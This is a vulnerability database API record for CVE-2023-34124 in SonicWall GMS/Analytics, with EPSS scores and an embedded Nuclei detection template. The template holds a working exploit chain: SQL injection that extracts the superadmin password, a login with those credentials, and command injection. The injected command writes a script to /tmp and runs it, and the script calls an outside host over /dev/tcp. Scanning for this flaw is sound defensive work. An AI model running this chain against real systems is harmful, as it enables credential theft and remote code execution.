{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-34124/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-34124/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-34124/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-34124/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-34124/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-34124"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-34124"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.50477,
      "kev": false,
      "percentile": 0.98863
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-34124.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2023-34124\n\ninfo:\n  name: SonicWall GMS and Analytics Web Services - Shell Injection\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    The authentication mechanism in SonicWall GMS and Analytics Web Services had insufficient checks, allowing authentication bypass. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.\n  remediation: |\n    Apply the latest security patches or updates provided by SonicWall to mitigate this vulnerability.\n  reference:\n    - https://raw.githubusercontent.com/rapid7/metasploit-framework/4b130f5be7590d04878f3bda37555e59e733324d/modules/exploits/multi/http/sonicwall_shell_injection_cve_2023_34124.rb\n    - https://attackerkb.com/topics/Vof5fWs4rx/cve-2023-34127/rapid7-analysis\n    - https://www.sonicwall.com/support/product-notification/urgent-security-notice-sonicwall-gms-analytics-impacted-by-suite-of-vulnerabilities/230710150218060/\n    - https://github.com/getdrive/PoC/blob/main/2023/Sonicwall_Shell_Injection/sonicwall_shell_injection_cve_2023_34124.rb\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-34124\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-34124\n    cwe-id: CWE-287,CWE-305\n    epss-score: 0.50477\n    epss-percentile: 0.98862\n    cpe: cpe:2.3:a:sonicwall:analytics:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: sonicwall\n    product: analytics\n    shodan-query: http.favicon.hash:-1381126564\n    fofa-query: icon_hash=-1381126564\n  tags: cve2023,cve,sonicwall,shell,injection,auth-bypass,intrusive,vkev,vuln\nvariables:\n  callback: \"echo 1 > /dev/tcp/{{interactsh-url}}/80\"\n  query: \"' union select (select ID from SGMSDB.DOMAINS limit 1), '', '', '', '', '', (select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0),'', '', '\"\n  secret: '?~!@#$%^^()'\n  auth: \"{{hmac('sha1', query, secret)}}\"\n  filename: \"{{rand_base(5)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /ws/msw/tenant/%27%20union%20select%20%28select%20ID%20from%20SGMSDB.DOMAINS%20limit%201%29%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%28select%20concat%28id%2C%20%27%3A%27%2C%20password%29%20from%20sgmsdb.users%20where%20active%20%3D%20%271%27%20order%20by%20issuperadmin%20desc%20limit%201%20offset%200%29%2C%27%27%2C%20%27%27%2C%20%27 HTTP/1.1\n        Host: {{Hostname}}\n        Auth: {\"user\": \"system\", \"hash\": \"{{base64(hex_decode(auth))}}\"}\n      - |\n        GET /appliance/login HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /appliance/applianceMainPage HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=login&skipSessionCheck=0&needPwdChange=0&clientHash={{ md5(concat(servertoken,replace_regex(alias,\"^.*:\",\"\"))) }}&password={{replace_regex(alias,\"^.*:\",\"\")}}&applianceUser={{replace_regex(alias,\":.*$\",\"\")}}&appliancePassword=Nice%20Try&ctlTimezoneOffset=0\n      - |\n        POST /appliance/applianceMainPage HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        num=3232150&action=file_system&task=search&item=application_log&criteria=*&width=500&searchFolder=%2Fopt%2FGMSVP%2Fetc%2F&searchFilter=appliance.jar%3Bbash+-c+PLUS%3d\\$\\(echo\\+-e\\+begin-base64\\+755\\+a\\\\\\\\nKwee\\\\\\\\n\\%3d\\%3d\\%3d\\%3d\\+\\|\\+uudecode\\+-o-\\)\\%3becho\\+-e\\+begin-base64\\+755\\+/tmp/.{{filename}}\\\\\\\\n{{replace(base64(callback),\"+\",\"${PLUS}\")}}\\\\\\\\n\\%3d\\%3d\\%3d\\%3d\\+|+uudecode+%3b/tmp/.{{filename}}%3brm+/tmp/.{{filename}}%3becho+\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_3\n        words:\n          - \"<title>SonicWall Universal Management Appliance</title>\"\n          - \"<title>SonicWall Universal Management Host</title>\"\n        condition: or\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n    extractors:\n      - type: json\n        part: body\n        internal: true\n        name: alias\n        group: 1\n        json:\n          - '.alias'\n\n      - type: regex\n        part: body\n        internal: true\n        name: servertoken\n        group: 1\n        regex:\n          - \"getPwdHash.*,'([0-9]+)'\"\n# digest: 4b0a004830460221008c2ebc5341625660df432bea50d61037e64ede3494a0bfe6703f5f9ca1e5669d022100f2bb995c8b49a6dc52f268dae7323f9e3c78506d9eeb48903b5629423ae29381:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-34124"
}